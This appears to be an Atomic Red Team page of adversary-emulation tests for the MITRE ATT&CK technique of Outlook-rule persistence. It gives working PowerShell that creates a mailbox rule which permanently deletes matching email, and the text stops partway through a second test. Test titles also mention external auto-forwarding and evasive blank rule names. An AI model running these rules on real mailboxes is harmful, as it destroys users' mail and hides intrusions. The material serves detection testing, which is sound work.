# T1137.005 - Office Application Startup: Outlook Rules

## Description from ATT&CK

> Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)
> 
> Once malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)

[Source](https://attack.mitre.org/techniques/T1137/005)

## Atomic Tests

- [Atomic Test #1: Outlook Rule - Subject Trigger with DeletePermanently Action via COM Object](#atomic-test-1-outlook-rule---subject-trigger-with-deletepermanently-action-via-com-object)
- [Atomic Test #2: Outlook Rule - Sender Address Trigger with DeletePermanently Action via COM Object](#atomic-test-2-outlook-rule---sender-address-trigger-with-deletepermanently-action-via-com-object)
- [Atomic Test #3: Outlook Rule - Auto-Forward Emails to External Address via COM Object](#atomic-test-3-outlook-rule---auto-forward-emails-to-external-address-via-com-object)
- [Atomic Test #4: Outlook Rules - Enumerate Existing Rules via PowerShell COM Object](#atomic-test-4-outlook-rules---enumerate-existing-rules-via-powershell-com-object)
- [Atomic Test #5: Outlook Rule - Create Rule with Obfuscated Blank Name (MAPI Evasion)](#atomic-test-5-outlook-rule---create-rule-with-obfuscated-blank-name-mapi-evasion)

### Atomic Test #1: Outlook Rule - Subject Trigger with DeletePermanently Action via COM Object

Creates a malicious Outlook rule via the COM object that permanently deletes
emails when an email with a specific subject keyword arrives. Simulates
adversary persistence via Outlook Rules (T1137.005). Uses DeletePermanently
action as it does not require a resolved Exchange folder unlike MoveToFolder.
NOTE: olRuleActionStartApplication cannot be created programmatically per
Microsoft's Rules object model - DeletePermanently is used as the supported
equivalent that generates the same rule-creation artefact.
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
session. Outlook COM fails with 0x80080005 when invoked as Administrator.

**Supported Platforms:** Windows

**auto_generated_guid:** `ffadc988-b682-4a68-bd7e-4803666be637`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| rule_name | Name for the malicious Outlook rule | string | AtomicTest_T1137005_SubjectTrigger|
| trigger_subject | Email subject keyword that triggers the rule | string | atomic-rt-trigger|

#### Attack Commands: Run with `powershell`!

```powershell
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] This test must be run from a non-elevated PowerShell session."
    Write-Host "    Outlook COM fails with 0x80080005 when run as Administrator."
    exit 1
}

$outlook   = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules     = $namespace.DefaultStore.GetRules()
$rule      = $rules.Create("#{rule_name}", 0)

$cond = $rule.Conditions.Subject
$cond.Enabled = $true
$cond.Text    = @("#{trigger_subject}")

$action         = $rule.Actions.DeletePermanently
$action.Enabled = $true

$rule.Enabled = $true
$rules.Save()
Write-Host "[+] Rule '#{rule_name}' created. Emails with subject '#{trigger_subject}' will be permanently deleted."
```

#### Cleanup Commands

```powershell
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] Cleanup must be run from a non-elevated PowerShell session. Skipping."
    exit 1
}
$outlook   = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules     = $namespace.DefaultStore.GetRules()
$removed   = $false
for ($i = $rules.Count; $i -ge 1; $i--) {
    if ($rules.Item($i).Name -eq "#{rule_name}") {
        $rules.Remove($rules.Item($i).Name)
        $removed = $true
    }
}
if ($removed) {
    $rules.Save()
    Write-Host "[+] All instances of rule '#{rule_name}' removed."
} else {
    Write-Host "[*] Rule '#{rule_name}' not found - already removed."
}
```

#### Dependencies: Run with `powershell`!

##### Description: Classic Outlook must be installed (required for COM automation)

###### Check Prereq Commands

```powershell
$clsid = (Get-ItemProperty "REGISTRY::HKEY_CLASSES_ROOT\Outlook.Application\CLSID" -ErrorAction SilentlyContinue).'(Default)'
if ($clsid) { exit 0 } else { exit 1 }
```

###### Get Prereq Commands

```powershell
Write-Host "[-] Classic Outlook is not installed or COM is not registered."
Write-Host "    Install Microsoft 365 Apps with Classic Outlook before running this test."
Write-Host "    Note: The new Outlook for Windows does NOT support COM automation."
exit 1
```

### Atomic Test #2: Outlook Rule - Sender Address Trigger with DeletePermanently Action via COM Object

Creates an Outlook rule via COM that permanently deletes emails received
from a specific sender address. Adversaries use sender-based triggers to
make rules appear more legitimate (e.g. disguised as a filter for a
specific colleague). Tests a different rule condition path through the
COM object model. Uses DeletePermanently as it does not require a resolved
Exchange folder unlike MoveToFolder.
NOTE: This test MUST be run from a non-elevated (standard user) PowerShell
session. Outlook COM fails with 0x80080005 when invoked as Administrator.

**Supported Platforms:** Windows

**auto_generated_guid:** `bddfd8d4-7687-4971-b611-50a537ab3ab4`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| rule_name | Name for the malicious Outlook rule | string | AtomicTest_T1137005_SenderTrigger|
| trigger_sender | Sender email address that triggers the rule | string | atomictest@redteam.local|

#### Attack Commands: Run with `powershell`!

```powershell
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
if ($isAdmin) {
    Write-Host "[-] This test must be run from a non-elevated PowerShell session."
    Write-Host "    Outlook COM fails with 0x80080005 when run as Administrator."
    exit 1
}

$outlook   = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$rules     = $namespace.De